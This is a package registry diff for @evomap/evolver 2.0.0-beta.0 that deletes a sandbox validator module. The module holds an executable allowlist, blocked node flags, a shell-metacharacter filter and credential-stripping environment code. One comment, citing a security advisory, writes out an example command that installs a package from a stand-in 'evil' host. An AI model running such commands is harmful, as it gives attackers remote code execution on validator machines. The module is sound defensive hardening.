@evomap/evolver 1.89.20 → 2.0.0-beta.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (231) hide show
  1. package/README.md +27 -564
  2. package/bin/evolver-llm-proxy.js +3 -0
  3. package/bin/evolver-mcp.js +2 -0
  4. package/bin/evolver-proxy.js +3 -0
  5. package/bin/evolver.js +4 -0
  6. package/index.js +1 -3586
  7. package/package.json +32 -62
  8. package/CONTRIBUTING.md +0 -19
  9. package/LICENSE +0 -641
  10. package/README.ja-JP.md +0 -521
  11. package/README.ko-KR.md +0 -520
  12. package/README.zh-CN.md +0 -531
  13. package/SKILL.md +0 -365
  14. package/assets/cover.png +0 -0
  15. package/assets/gep/genes.seed.json +0 -496
  16. package/conformance/savings-core/constants.json +0 -30
  17. package/conformance/savings-core/golden-vectors.json +0 -333
  18. package/scripts/a2a_export.js +0 -63
  19. package/scripts/a2a_ingest.js +0 -79
  20. package/scripts/a2a_promote.js +0 -118
  21. package/scripts/analyze_by_skill.js +0 -121
  22. package/scripts/build_binaries.js +0 -479
  23. package/scripts/check-changelog.js +0 -166
  24. package/scripts/extract_log.js +0 -85
  25. package/scripts/generate_history.js +0 -75
  26. package/scripts/gep_append_event.js +0 -96
  27. package/scripts/gep_personality_report.js +0 -234
  28. package/scripts/human_report.js +0 -147
  29. package/scripts/recall-verify-report.js +0 -234
  30. package/scripts/recover_loop.js +0 -61
  31. package/scripts/refresh_stars_badge.js +0 -168
  32. package/scripts/seed-merchants.js +0 -91
  33. package/scripts/skill2recipes.js +0 -118
  34. package/scripts/suggest_version.js +0 -89
  35. package/scripts/validate-modules.js +0 -38
  36. package/scripts/validate-suite.js +0 -78
  37. package/skills/_meta/SKILL.md +0 -41
  38. package/skills/index.json +0 -14
  39. package/src/adapters/claudeCode.js +0 -194
  40. package/src/adapters/codex.js +0 -216
  41. package/src/adapters/cursor.js +0 -91
  42. package/src/adapters/hookAdapter.js +0 -469
  43. package/src/adapters/kiro.js +0 -195
  44. package/src/adapters/opencode.js +0 -326
  45. package/src/adapters/scripts/_lockPaths.js +0 -74
  46. package/src/adapters/scripts/_memoryFiltering.js +0 -35
  47. package/src/adapters/scripts/_runtimePaths.js +0 -440
  48. package/src/adapters/scripts/evolver-session-end.js +0 -321
  49. package/src/adapters/scripts/evolver-session-start.js +0 -587
  50. package/src/adapters/scripts/evolver-signal-detect.js +0 -98
  51. package/src/adapters/scripts/evolver-task-recall.js +0 -173
  52. package/src/atp/atpExecute.js +0 -283
  53. package/src/atp/atpTaskPickup.js +0 -233
  54. package/src/atp/autoBuyer.js +0 -382
  55. package/src/atp/autoDeliver.js +0 -215
  56. package/src/atp/cli.js +0 -354
  57. package/src/atp/cliAutobuyPrompt.js +0 -154
  58. package/src/atp/consumerAgent.js +0 -157
  59. package/src/atp/defaultHandler.js +0 -69
  60. package/src/atp/heartbeatSignalsHandler.js +0 -254
  61. package/src/atp/hubClient.js +0 -317
  62. package/src/atp/index.js +0 -38
  63. package/src/atp/merchantAgent.js +0 -118
  64. package/src/atp/protocol.js +0 -41
  65. package/src/atp/questionComposer.js +0 -133
  66. package/src/atp/serviceHelper.js +0 -92
  67. package/src/canary.js +0 -13
  68. package/src/config.js +0 -351
  69. package/src/evolve/guards.js +0 -1
  70. package/src/evolve/pipeline/collect.js +0 -1
  71. package/src/evolve/pipeline/dispatch.js +0 -1
  72. package/src/evolve/pipeline/enrich.js +0 -1
  73. package/src/evolve/pipeline/hub.js +0 -1
  74. package/src/evolve/pipeline/select.js +0 -1
  75. package/src/evolve/pipeline/signals.js +0 -1
  76. package/src/evolve/utils.js +0 -1
  77. package/src/evolve.js +0 -1
  78. package/src/experiment/agentRunner.js +0 -229
  79. package/src/experiment/cli.js +0 -159
  80. package/src/experiment/comparison.js +0 -233
  81. package/src/experiment/metrics.js +0 -75
  82. package/src/forceUpdate.js +0 -991
  83. package/src/gep/a2a.js +0 -173
  84. package/src/gep/a2aProtocol.js +0 -1
  85. package/src/gep/analyzer.js +0 -35
  86. package/src/gep/antiAbuseTelemetry.js +0 -1
  87. package/src/gep/assetCallLog.js +0 -197
  88. package/src/gep/assetStore.js +0 -723
  89. package/src/gep/assets.js +0 -36
  90. package/src/gep/autoDistillConv.js +0 -1
  91. package/src/gep/autoDistillLlm.js +0 -1
  92. package/src/gep/bridge.js +0 -138
  93. package/src/gep/candidateEval.js +0 -1
  94. package/src/gep/candidates.js +0 -1
  95. package/src/gep/claimNudge.js +0 -121
  96. package/src/gep/cliContracts.js +0 -1190
  97. package/src/gep/contentHash.js +0 -1
  98. package/src/gep/conversationDistiller.js +0 -1
  99. package/src/gep/conversationSniffer.js +0 -1
  100. package/src/gep/crypto.js +0 -1
  101. package/src/gep/curriculum.js +0 -1
  102. package/src/gep/deviceId.js +0 -1
  103. package/src/gep/directoryClient.js +0 -115
  104. package/src/gep/envFingerprint.js +0 -1
  105. package/src/gep/epigenetics.js +0 -1
  106. package/src/gep/execBridge.js +0 -1
  107. package/src/gep/executionTrace.js +0 -291
  108. package/src/gep/explore.js +0 -1
  109. package/src/gep/featureFlags.js +0 -121
  110. package/src/gep/gitOps.js +0 -265
  111. package/src/gep/hash.js +0 -1
  112. package/src/gep/hostErrorClassifier.js +0 -34
  113. package/src/gep/hubFetch.js +0 -1
  114. package/src/gep/hubReview.js +0 -1
  115. package/src/gep/hubSearch.js +0 -1
  116. package/src/gep/hubVerify.js +0 -1
  117. package/src/gep/idleScheduler.js +0 -400
  118. package/src/gep/issueReporter.js +0 -416
  119. package/src/gep/learningSignals.js +0 -1
  120. package/src/gep/llmReview.js +0 -92
  121. package/src/gep/localStateAwareness.js +0 -243
  122. package/src/gep/mailboxTransport.js +0 -119
  123. package/src/gep/memoryGraph.js +0 -1
  124. package/src/gep/memoryGraphAdapter.js +0 -1
  125. package/src/gep/mutation.js +0 -1
  126. package/src/gep/narrativeMemory.js +0 -1
  127. package/src/gep/oauthLogin.js +0 -181
  128. package/src/gep/openPRRegistry.js +0 -1
  129. package/src/gep/paths.js +0 -522
  130. package/src/gep/personality.js +0 -1
  131. package/src/gep/policyCheck.js +0 -1
  132. package/src/gep/portable.js +0 -103
  133. package/src/gep/privacyClient.js +0 -235
  134. package/src/gep/prompt.js +0 -1
  135. package/src/gep/questionGenerator.js +0 -518
  136. package/src/gep/recallInject.js +0 -1
  137. package/src/gep/recallVerifier.js +0 -1
  138. package/src/gep/reflection.js +0 -1
  139. package/src/gep/sanitize.js +0 -264
  140. package/src/gep/savingsCore.js +0 -1
  141. package/src/gep/schemas/capsule.js +0 -170
  142. package/src/gep/schemas/gene.js +0 -154
  143. package/src/gep/schemas/index.js +0 -8
  144. package/src/gep/schemas/protocol.js +0 -51
  145. package/src/gep/schemas/task.js +0 -74
  146. package/src/gep/selector.js +0 -1
  147. package/src/gep/selfPR.js +0 -469
  148. package/src/gep/signals.js +0 -776
  149. package/src/gep/skill2gep.js +0 -1056
  150. package/src/gep/skill2gepAudit.js +0 -303
  151. package/src/gep/skill2recipes.js +0 -511
  152. package/src/gep/skillDistiller.js +0 -1
  153. package/src/gep/skillPublisher.js +0 -358
  154. package/src/gep/solidify.js +0 -1
  155. package/src/gep/strategy.js +0 -1
  156. package/src/gep/taskReceiver.js +0 -575
  157. package/src/gep/tokenSavings.js +0 -1
  158. package/src/gep/trajectoryExport.js +0 -1
  159. package/src/gep/validationReport.js +0 -55
  160. package/src/gep/validator/index.js +0 -411
  161. package/src/gep/validator/reporter.js +0 -210
  162. package/src/gep/validator/sandboxExecutor.js +0 -480
  163. package/src/gep/validator/stakeBootstrap.js +0 -357
  164. package/src/gep/workspaceKeychain.js +0 -1
  165. package/src/ops/cleanup.js +0 -80
  166. package/src/ops/commentary.js +0 -60
  167. package/src/ops/health_check.js +0 -104
  168. package/src/ops/index.js +0 -11
  169. package/src/ops/innovation.js +0 -67
  170. package/src/ops/lifecycle.js +0 -798
  171. package/src/ops/self_repair.js +0 -76
  172. package/src/ops/skills_monitor.js +0 -147
  173. package/src/ops/trigger.js +0 -33
  174. package/src/proxy/clientSettings.js +0 -405
  175. package/src/proxy/envelope.js +0 -59
  176. package/src/proxy/extensions/dmHandler.js +0 -45
  177. package/src/proxy/extensions/sessionHandler.js +0 -141
  178. package/src/proxy/extensions/skillUpdater.js +0 -64
  179. package/src/proxy/extensions/traceControl.js +0 -1
  180. package/src/proxy/index.js +0 -1395
  181. package/src/proxy/inject.js +0 -1
  182. package/src/proxy/lifecycle/manager.js +0 -1568
  183. package/src/proxy/mailbox/state.js +0 -207
  184. package/src/proxy/mailbox/store.js +0 -590
  185. package/src/proxy/router/cache_passthrough.js +0 -26
  186. package/src/proxy/router/features.js +0 -84
  187. package/src/proxy/router/gemini_route.js +0 -154
  188. package/src/proxy/router/messages_route.js +0 -535
  189. package/src/proxy/router/model_router.js +0 -113
  190. package/src/proxy/router/models_route.js +0 -52
  191. package/src/proxy/router/ollama_route.js +0 -103
  192. package/src/proxy/router/responses_route.js +0 -170
  193. package/src/proxy/router/vertex_route.js +0 -110
  194. package/src/proxy/server/http.js +0 -363
  195. package/src/proxy/server/routes.js +0 -558
  196. package/src/proxy/server/settings.js +0 -115
  197. package/src/proxy/sync/engine.js +0 -179
  198. package/src/proxy/sync/inbound.js +0 -211
  199. package/src/proxy/sync/outbound.js +0 -320
  200. package/src/proxy/task/monitor.js +0 -131
  201. package/src/proxy/trace/extractor.js +0 -1
  202. package/src/proxy/trace/usage.js +0 -1
  203. package/src/webui/client/clientJs/assets.js +0 -111
  204. package/src/webui/client/clientJs/bootstrap.js +0 -92
  205. package/src/webui/client/clientJs/common.js +0 -77
  206. package/src/webui/client/clientJs/i18n.js +0 -366
  207. package/src/webui/client/clientJs/index.js +0 -35
  208. package/src/webui/client/clientJs/interactions.js +0 -351
  209. package/src/webui/client/clientJs/overview.js +0 -152
  210. package/src/webui/client/clientJs/personality.js +0 -285
  211. package/src/webui/client/clientJs/pipelines.js +0 -330
  212. package/src/webui/client/indexHtml.js +0 -221
  213. package/src/webui/client/static.js +0 -23
  214. package/src/webui/client/stylesCss.js +0 -639
  215. package/src/webui/client/vendor/README.md +0 -15
  216. package/src/webui/client/vendor/echarts.min.js +0 -45
  217. package/src/webui/index.js +0 -14
  218. package/src/webui/observer/assets.js +0 -146
  219. package/src/webui/observer/index.js +0 -37
  220. package/src/webui/observer/interactions.js +0 -127
  221. package/src/webui/observer/jsonl.js +0 -75
  222. package/src/webui/observer/paths.js +0 -46
  223. package/src/webui/observer/personality.js +0 -43
  224. package/src/webui/observer/pipelineEvents.js +0 -58
  225. package/src/webui/observer/redact.js +0 -63
  226. package/src/webui/observer/runs.js +0 -356
  227. package/src/webui/observer/safety.js +0 -57
  228. package/src/webui/observer/skills.js +0 -70
  229. package/src/webui/observer/status.js +0 -71
  230. package/src/webui/server/http.js +0 -138
  231. package/src/webui/server/routes.js +0 -41
@@ -1,480 +0,0 @@
1
- // src/gep/validator/sandboxExecutor.js
2
- //
3
- // Runs validation commands provided by the Hub inside an isolated sandbox
4
- // directory with strict resource/time limits, and does NOT trust the capsule
5
- // or gene payload -- we only execute commands exactly as Hub sent them,
6
- // inside a fresh empty working directory, with network blocked by convention
7
- // and output truncated to a small size.
8
- //
9
- // Security posture:
10
- // - Never run inside the evolver's own workspace or repo root.
11
- // - Create a fresh temp directory per task; wipe after execution.
12
- // - Per-command timeout defaults to 60s, hard cap 120s.
13
- // - Total batch timeout defaults to 180s.
14
- // - Collect stdout/stderr truncated to 4000 chars each to match
15
- // ValidationReport.command.stdout/stderr schema on the Hub.
16
- //
17
- // This module is intentionally simple and has no external dependencies.
18
- 'use strict';
19
-
20
- const fs = require('fs');
21
- const os = require('os');
22
- const path = require('path');
23
- const crypto = require('crypto');
24
- const { spawn } = require('child_process');
25
-
26
- const DEFAULT_CMD_TIMEOUT_MS = 60_000;
27
- const MAX_CMD_TIMEOUT_MS = 120_000;
28
- const DEFAULT_BATCH_TIMEOUT_MS = 180_000;
29
- const MAX_OUTPUT_CHARS = 4000;
30
-
31
- // Hard allowlist of executables the Hub-provided validation command may invoke.
32
- // Any command whose first token is not in this set is rejected before spawn().
33
- // This prevents command injection via Hub-delivered task.command strings even
34
- // if Hub itself is compromised or mis-signs a task.
35
- //
36
- // GHSA-jxh8-jh77-xh6g: `npm` and `npx` used to be on this allowlist. They are
37
- // arbitrary-code-execution-by-design (npm runs preinstall/install/postinstall
38
- // lifecycle scripts; npx fetches and runs remote package `bin` entries), so a
39
- // compromised/MitM'd Hub could issue `validation_commands: ["npm install
40
- // https://evil/evil.tgz"]` and get RCE on every validator in one poll cycle.
41
- // Validator nodes only ever need to run `node <script>`, so we drop npm/npx.
42
- // Any legitimate validation that previously used `npx vitest run ...` must be
43
- // rewritten by the gene author to `node node_modules/vitest/vitest.mjs ...`.
44
- const ALLOWED_EXECUTABLES = new Set(['node']);
45
-
46
- // Depth-in-depth: even though `node` is in ALLOWED_EXECUTABLES, reject the
47
- // flags that turn it into an arbitrary-code evaluator. A legitimate Hub-
48
- // delivered validation command should always be `node <script-file> [args]`,
49
- // never `node -e "..."` or `node --require ./attacker-preload`. This closes
50
- // the gap where validation_commands go straight from Hub to runInSandbox
51
- // without passing through policyCheck.isValidationCommandAllowed().
52
- const BLOCKED_NODE_FLAGS = new Set([
53
- '-e', '--eval',
54
- '-p', '--print',
55
- '-i', '--interactive',
56
- '-r', '--require',
57
- '--loader',
58
- '--experimental-loader',
59
- '--import',
60
- '--env-file',
61
- ]);
62
-
63
- function assertNodeCommandSafe(parsed) {
64
- if (parsed.executable !== 'node') return;
65
- for (const arg of parsed.args) {
66
- const flag = arg.split('=')[0];
67
- if (BLOCKED_NODE_FLAGS.has(flag)) {
68
- throw new Error('node flag not allowed in sandbox: ' + flag);
69
- }
70
- }
71
- const firstPositional = parsed.args.find((a) => !a.startsWith('-'));
72
- if (!firstPositional) {
73
- throw new Error('node requires a script file argument in sandbox (inline eval is not allowed)');
74
- }
75
- }
76
-
77
- // Parse a command string into executable + argv array, supporting single and
78
- // double quotes. This is a minimal parser and does NOT expand environment
79
- // variables, globs, redirects, pipes, or subshells. If the command string
80
- // contains shell metacharacters that cannot be parsed, we reject it.
81
- //
82
- // Returns { executable, args } on success, or throws on parse failure.
83
- function parseCommand(cmdString) {
84
- if (typeof cmdString !== 'string') {
85
- throw new Error('command must be a string, got ' + typeof cmdString);
86
- }
87
- const tokens = [];
88
- let buf = '';
89
- let quote = null; // '\'' | '"' | null
90
- for (let i = 0; i < cmdString.length; i++) {
91
- const ch = cmdString[i];
92
- if (quote) {
93
- if (ch === quote) {
94
- quote = null;
95
- } else {
96
- buf += ch;
97
- }
98
- continue;
99
- }
100
- if (ch === '\'' || ch === '"') {
101
- quote = ch;
102
- continue;
103
- }
104
- if (ch === ' ' || ch === '\t' || ch === '\n') {
105
- if (buf.length > 0) {
106
- tokens.push(buf);
107
- buf = '';
108
- }
109
- continue;
110
- }
111
- // Reject shell metacharacters that would give injection leverage even with
112
- // shell:false. A legitimate validation command should never contain these.
113
- if (ch === '|' || ch === '&' || ch === ';' || ch === '>' || ch === '<' || ch === '`' || ch === '$') {
114
- throw new Error('shell metacharacter not allowed in command: ' + ch);
115
- }
116
- buf += ch;
117
- }
118
- if (quote) throw new Error('unterminated quote in command');
119
- if (buf.length > 0) tokens.push(buf);
120
- if (tokens.length === 0) throw new Error('empty command');
121
- return { executable: tokens[0], args: tokens.slice(1) };
122
- }
123
-
124
- function safeNumber(v, fallback) {
125
- const n = Number(v);
126
- if (!Number.isFinite(n) || n <= 0) return fallback;
127
- return n;
128
- }
129
-
130
- function truncate(str, limit) {
131
- if (typeof str !== 'string') return '';
132
- if (str.length <= limit) return str;
133
- return str.slice(0, limit) + '\n...[truncated]';
134
- }
135
-
136
- function createSandboxDir() {
137
- // NOTE(windows): mode 0o700 is silently ignored on Windows. The sandbox
138
- // directory is NOT access-restricted on Windows; rely on OS user isolation
139
- // instead. This cannot be fully mitigated via fs.mkdirSync options alone.
140
- const base = path.join(os.tmpdir(), 'evolver-validator');
141
- // The base path is predictable, so on a shared host another local user
142
- // could pre-create it as a symlink and redirect every sandbox workdir
143
- // outside the intended boundary. mkdir first (EEXIST is fine), then lstat
144
- // and refuse anything that is not a real directory — the sticky bit on
145
- // /tmp prevents others from replacing our directory after this check.
146
- try {
147
- fs.mkdirSync(base, { recursive: true, mode: 0o700 });
148
- } catch (e) {
149
- if (!e || e.code !== 'EEXIST') {
150
- throw new Error('[sandboxExecutor] Failed to create sandbox base ' + base + ': ' + (e && e.message || e));
151
- }
152
- }
153
- const baseSt = fs.lstatSync(base);
154
- if (baseSt.isSymbolicLink() || !baseSt.isDirectory()) {
155
- throw new Error('[sandboxExecutor] Refusing sandbox base ' + base + ': exists and is ' +
156
- (baseSt.isSymbolicLink() ? 'a symlink' : 'not a directory'));
157
- }
158
- // A real directory is still not enough: a pre-existing base OWNED BY
159
- // ANOTHER USER lets that user rename/replace our task workdirs at will
160
- // (deletion rights come from the parent dir). Require ownership, and
161
- // self-heal loose permissions on a base we do own (chmod is safe then).
162
- // POSIX-only: Windows has no getuid and ignores these mode bits anyway.
163
- if (typeof process.getuid === 'function') {
164
- if (baseSt.uid !== process.getuid()) {
165
- throw new Error('[sandboxExecutor] Refusing sandbox base ' + base + ': owned by uid ' +
166
- baseSt.uid + ', not the current user (' + process.getuid() + ')');
167
- }
168
- if ((baseSt.mode & 0o077) !== 0) {
169
- fs.chmodSync(base, 0o700);
170
- }
171
- }
172
- const name = 'task_' + Date.now().toString(36) + '_' + crypto.randomBytes(4).toString('hex');
173
- const dir = path.join(base, name);
174
- // Wrap in try/catch: mkdirSync without recursive:true throws if the parent
175
- // has a permission problem (e.g. read-only tmpdir on constrained hosts).
176
- try {
177
- fs.mkdirSync(dir, { mode: 0o700 });
178
- } catch (e) {
179
- throw new Error('[sandboxExecutor] Failed to create sandbox dir ' + dir + ': ' + (e && e.message || e));
180
- }
181
- return dir;
182
- }
183
-
184
- function cleanupDir(dir) {
185
- if (!dir) return;
186
- try {
187
- fs.rmSync(dir, { recursive: true, force: true });
188
- } catch (_) {
189
- // non-fatal
190
- }
191
- }
192
-
193
- function buildSandboxEnv() {
194
- // Minimal env: strip credential-bearing vars. Redirect HOME / TMPDIR to an
195
- // os.tmpdir() path so that any child process that tries to read ~/.npmrc,
196
- // ~/.ssh/*, ~/.aws/credentials, or similar host-credential files ends up
197
- // in an empty scratch directory instead of the real user home.
198
- // PATH is preserved so that node remains resolvable -- the
199
- // ALLOWED_EXECUTABLES allowlist is the real gate against unwanted tools.
200
- const tmp = os.tmpdir();
201
- const fallbackPath = process.platform === 'win32'
202
- ? 'C:\\Windows\\System32'
203
- : '/usr/local/bin:/usr/bin:/bin';
204
- return {
205
- PATH: process.env.PATH || fallbackPath,
206
- HOME: tmp,
207
- USERPROFILE: tmp,
208
- TMPDIR: tmp,
209
- TMP: tmp,
210
- TEMP: tmp,
211
- LANG: 'C.UTF-8',
212
- LC_ALL: 'C.UTF-8',
213
- NODE_ENV: 'sandbox',
214
- EVOLVER_SANDBOX: '1',
215
- };
216
- }
217
-
218
- function runSingleCommand(cmd, opts) {
219
- const options = opts || {};
220
- const timeoutMs = Math.min(
221
- safeNumber(options.timeoutMs, DEFAULT_CMD_TIMEOUT_MS),
222
- MAX_CMD_TIMEOUT_MS,
223
- );
224
- const cwd = options.cwd;
225
- const env = buildSandboxEnv();
226
-
227
- return new Promise((resolve) => {
228
- let child;
229
- let parsed;
230
- try {
231
- parsed = parseCommand(String(cmd));
232
- assertNodeCommandSafe(parsed);
233
- } catch (err) {
234
- resolve({
235
- cmd: String(cmd),
236
- ok: false,
237
- stdout: '',
238
- stderr: 'command_parse_failed: ' + (err && err.message ? err.message : String(err)),
239
- exitCode: -1,
240
- durationMs: 0,
241
- timedOut: false,
242
- });
243
- return;
244
- }
245
- if (!ALLOWED_EXECUTABLES.has(parsed.executable)) {
246
- resolve({
247
- cmd: String(cmd),
248
- ok: false,
249
- stdout: '',
250
- stderr: 'executable_not_allowed: ' + parsed.executable
251
- + ' (allowed: ' + Array.from(ALLOWED_EXECUTABLES).join(', ') + ')',
252
- exitCode: -1,
253
- durationMs: 0,
254
- timedOut: false,
255
- });
256
- return;
257
- }
258
- try {
259
- child = spawn(parsed.executable, parsed.args, {
260
- shell: false,
261
- cwd,
262
- env,
263
- stdio: ['ignore', 'pipe', 'pipe'],
264
- });
265
- } catch (err) {
266
- resolve({
267
- cmd: String(cmd),
268
- ok: false,
269
- stdout: '',
270
- stderr: 'spawn_failed: ' + (err && err.message ? err.message : String(err)),
271
- exitCode: -1,
272
- durationMs: 0,
273
- timedOut: false,
274
- });
275
- return;
276
- }
277
-
278
- let stdout = '';
279
- let stderr = '';
280
- let settled = false;
281
- const startedAt = Date.now();
282
-
283
- const timer = setTimeout(() => {
284
- if (!child.killed) {
285
- try { child.kill('SIGKILL'); } catch (_) {}
286
- }
287
- if (!settled) {
288
- settled = true;
289
- resolve({
290
- cmd: String(cmd),
291
- ok: false,
292
- stdout: truncate(stdout, MAX_OUTPUT_CHARS),
293
- stderr: truncate(stderr + '\n[killed by sandbox timeout]', MAX_OUTPUT_CHARS),
294
- exitCode: -1,
295
- durationMs: Date.now() - startedAt,
296
- timedOut: true,
297
- });
298
- }
299
- }, timeoutMs);
300
-
301
- child.stdout.on('data', (d) => {
302
- stdout += d.toString('utf8');
303
- if (stdout.length > MAX_OUTPUT_CHARS * 2) {
304
- stdout = stdout.slice(-MAX_OUTPUT_CHARS * 2);
305
- }
306
- });
307
- child.stderr.on('data', (d) => {
308
- stderr += d.toString('utf8');
309
- if (stderr.length > MAX_OUTPUT_CHARS * 2) {
310
- stderr = stderr.slice(-MAX_OUTPUT_CHARS * 2);
311
- }
312
- });
313
-
314
- child.on('error', (err) => {
315
- if (settled) return;
316
- settled = true;
317
- clearTimeout(timer);
318
- resolve({
319
- cmd: String(cmd),
320
- ok: false,
321
- stdout: truncate(stdout, MAX_OUTPUT_CHARS),
322
- stderr: truncate(stderr + '\n' + (err && err.message ? err.message : String(err)), MAX_OUTPUT_CHARS),
323
- exitCode: -1,
324
- durationMs: Date.now() - startedAt,
325
- timedOut: false,
326
- });
327
- });
328
-
329
- child.on('exit', (code, signal) => {
330
- if (settled) return;
331
- settled = true;
332
- clearTimeout(timer);
333
- const exitCode = typeof code === 'number' ? code : (signal ? -1 : -1);
334
- resolve({
335
- cmd: String(cmd),
336
- ok: exitCode === 0,
337
- stdout: truncate(stdout, MAX_OUTPUT_CHARS),
338
- stderr: truncate(stderr, MAX_OUTPUT_CHARS),
339
- exitCode,
340
- durationMs: Date.now() - startedAt,
341
- timedOut: false,
342
- });
343
- });
344
- });
345
- }
346
-
347
- /**
348
- * Run a list of validation commands in a fresh sandbox directory.
349
- * Stops at the first failure and returns partial results.
350
- *
351
- * @param {string[]} commands
352
- * @param {{ cmdTimeoutMs?: number, batchTimeoutMs?: number, keepSandbox?: boolean }} [opts]
353
- * @returns {Promise<{
354
- * results: Array<{ cmd: string, ok: boolean, stdout: string, stderr: string, exitCode: number, durationMs: number, timedOut: boolean }>,
355
- * overallOk: boolean,
356
- * sandboxDir: string,
357
- * durationMs: number,
358
- * stoppedEarly: boolean,
359
- * }>}
360
- */
361
- async function runInSandbox(commands, opts) {
362
- const options = opts || {};
363
- const cmds = Array.isArray(commands) ? commands.filter((c) => typeof c === 'string' && c.trim()) : [];
364
- const startedAt = Date.now();
365
-
366
- if (cmds.length === 0) {
367
- return {
368
- results: [],
369
- overallOk: false,
370
- sandboxDir: null,
371
- durationMs: 0,
372
- stoppedEarly: false,
373
- reason: 'no_commands',
374
- };
375
- }
376
-
377
- const batchTimeoutMs = Math.min(
378
- safeNumber(options.batchTimeoutMs, DEFAULT_BATCH_TIMEOUT_MS),
379
- DEFAULT_BATCH_TIMEOUT_MS * 3,
380
- );
381
-
382
- const sandboxDir = createSandboxDir();
383
- const results = [];
384
- let stoppedEarly = false;
385
-
386
- try {
387
- for (const cmd of cmds) {
388
- const elapsed = Date.now() - startedAt;
389
- if (elapsed >= batchTimeoutMs) {
390
- stoppedEarly = true;
391
- break;
392
- }
393
- const remaining = batchTimeoutMs - elapsed;
394
- const r = await runSingleCommand(cmd, {
395
- cwd: sandboxDir,
396
- timeoutMs: Math.min(
397
- safeNumber(options.cmdTimeoutMs, DEFAULT_CMD_TIMEOUT_MS),
398
- remaining,
399
- ),
400
- });
401
- results.push(r);
402
- if (!r.ok) {
403
- stoppedEarly = true;
404
- break;
405
- }
406
- }
407
- } finally {
408
- if (!options.keepSandbox) cleanupDir(sandboxDir);
409
- }
410
-
411
- const overallOk = results.length > 0 && results.every((r) => r.ok) && !stoppedEarly;
412
-
413
- return {
414
- results,
415
- overallOk,
416
- sandboxDir: options.keepSandbox ? sandboxDir : null,
417
- durationMs: Date.now() - startedAt,
418
- stoppedEarly,
419
- };
420
- }
421
-
422
- /**
423
- * Self-test to confirm the validator host can spawn a `node <script>` process
424
- * inside the sandbox successfully. Used by the validator daemon at startup to
425
- * decide whether to participate at all -- if the local toolchain cannot even
426
- * run `node a-trivial-script.js`, the daemon will refuse to start and print a
427
- * user-visible warning instead of flooding the Hub with env_fail reports.
428
- *
429
- * @returns {Promise<{ok: boolean, reason?: string, exitCode?: number, durationMs: number, stderrTail?: string}>}
430
- */
431
- async function runPreflight() {
432
- const sandboxDir = createSandboxDir();
433
- const startedAt = Date.now();
434
- const scriptPath = path.join(sandboxDir, '__evolver_preflight.js');
435
- try {
436
- fs.writeFileSync(scriptPath, "process.stdout.write('preflight_ok\\n');\nprocess.exit(0);\n", { encoding: 'utf8' });
437
- const r = await runSingleCommand('node __evolver_preflight.js', {
438
- cwd: sandboxDir,
439
- timeoutMs: 10_000,
440
- });
441
- if (!r.ok) {
442
- return {
443
- ok: false,
444
- reason: r.timedOut
445
- ? 'preflight_timeout'
446
- : (typeof r.exitCode === 'number' && r.exitCode !== 0 ? 'preflight_exit_nonzero' : 'preflight_failed'),
447
- exitCode: r.exitCode,
448
- durationMs: r.durationMs,
449
- stderrTail: typeof r.stderr === 'string' ? r.stderr.slice(-240) : '',
450
- };
451
- }
452
- return { ok: true, exitCode: r.exitCode || 0, durationMs: Date.now() - startedAt };
453
- } catch (err) {
454
- return {
455
- ok: false,
456
- reason: 'preflight_exception',
457
- durationMs: Date.now() - startedAt,
458
- stderrTail: err && err.message ? String(err.message).slice(-240) : '',
459
- };
460
- } finally {
461
- cleanupDir(sandboxDir);
462
- }
463
- }
464
-
465
- module.exports = {
466
- runInSandbox,
467
- runSingleCommand,
468
- runPreflight,
469
- createSandboxDir,
470
- cleanupDir,
471
- buildSandboxEnv,
472
- parseCommand,
473
- assertNodeCommandSafe,
474
- ALLOWED_EXECUTABLES,
475
- BLOCKED_NODE_FLAGS,
476
- DEFAULT_CMD_TIMEOUT_MS,
477
- MAX_CMD_TIMEOUT_MS,
478
- DEFAULT_BATCH_TIMEOUT_MS,
479
- MAX_OUTPUT_CHARS,
480
- };